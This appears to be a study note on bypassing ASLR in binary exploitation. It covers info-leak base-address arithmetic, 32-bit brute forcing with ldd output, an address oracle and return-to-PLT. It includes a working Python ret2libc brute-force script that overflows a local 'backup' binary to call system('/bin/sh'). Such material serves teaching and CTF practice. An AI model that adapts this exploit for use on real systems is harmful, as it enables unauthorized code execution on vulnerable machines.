Skip to content

ASLR

Address Space layout Randomization (ASLR)

Makes it harder for an attacker to guess the address of the executable, stack, and loaded libs.

This can be bypassed if there is an Info Leak that discloses some value absolute address from the stack, executable or the loaded libs. This Info Leak must be the same source you use your gadgets from.

Getting the Base Address:

infoleak = 0xf7cf4467 #This is the Info Leak for a element from the stack that is located in libc
libc_base = infoleak - 0x467 #This is the offset that is learned from doing a strings of the libc version
# This is your base address which can be used for gadgets

Forked processes have the same offset as the parent. This means a leak of a forked process will get the information of the main process

Brute forcing

32-Bit

Brute-forcing is possible since there is only 3 bytes of random so 4095 random positions.

$ while true; do ldd ./backup; done | grep libc 
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7cf4000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d25000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7cf4000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d5d000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7cc6000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d28000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7ce3000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d29000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d28000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7cf0000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7dc3000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7cd3000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d98000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7cd0000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7cfc000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d4a000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d1e000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7cc6000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d0f000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d72000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7ce8000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7cff000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d7a000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d7b000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d93000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d56000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7d5c000)
 libc.so.6 => /usr/lib32/libc.so.6 (0xf7da9000)

Example Script Bruteforcing 32bit ASLR:

from subprocess import call
from struct import pack

key= "45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474"
junk = "A"*512					 #junk padding
libc = 0xf7dc5000				 #libc base address. Take any from ldd ./backup.

system = pack("I",libc+0x3c7d0)			 #system offset added to libc base and convert to little Endian
exit = pack("I",libc+0x2fb10)			 #exit offset added to libc base
sh = pack("I",libc+0x17888a)			 #/bin/sh offset added to libc base

payload = junk + system + exit + sh		 #final payload

for i in range(512):			  	 #for loop to execute 512 times
	print(i) 			 	 #counter
	ret=call(["./backup","aaa",key,payload]) #call ./backup with proper arguments
	if (not ret):				 #break on successful exploit
           print "**************" 
           break
	else:
		print "Exploit failed !"

64-Bit

ASLR Brute-forcing not feasible on 64 bit systems

ASLR 48-bits of random

while true; do ldd a.out; done | grep libc
 libc.so.6 => /usr/lib/libc.so.6 (0x00007f468dad5000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007f3eaa737000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007fe83de5b000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007f53873d6000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007fbcaf271000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007fa1f384d000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007f2e9a9b0000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007f86c9187000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007f84f36e5000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007f6df67fb000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007f60cdb7c000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007f512abd8000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007fa0ee5f8000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007fad3c2fb000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007f6b025f8000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007f7a3ad69000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007f1a14e88000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007ffa5ee6e000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007ff65a6ba000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007fdeff4fb000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007fbef70e3000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007ff374a8f000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007fa838a5e000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007f6214f8f000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007f5b3b44f000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007f284a48b000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007f78963d6000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007f9e1c896000)
 libc.so.6 => /usr/lib/libc.so.6 (0x00007f1e82fff000)

Oracle

  • When there is a large executable it is possible to bypass ASLR through bruteforcing.
start_address = 0x180000000
end_address   = 0x280000000
step          = 1024 * 1024 * 1024 # 1 GB

for addr in range(start, end, step):
	if address_is_mapped(addr):
		return binary_search(addr - step, addr, address_is_mapped)

Return to Procedural Linkage Table

If the PLT has a function that is from another module it can be used to leak an address in that library.

Steps to call function in another library:
1. Make a Call to the function in the PLT.
- This will write the address of the function to the processes GOT
2. Dereference the pointer in the GOT.
- This will be the function in that library.
3. Use an offset from this address to call another function in that library

Note

This will work when system ALSR is enabled but will not work when Position Independent Code (PIC) is enabled.

Note

If the process already has the function in its PLT then you can call it

But the PIC can be bypassed if the function you want to call is in the binary its self. You can use the executable part of the binary that calls that function to

ASLR Bypass

  • ASLR is always bypassable when the writable region is larger than the slide.
    • This is done through bruteforcing.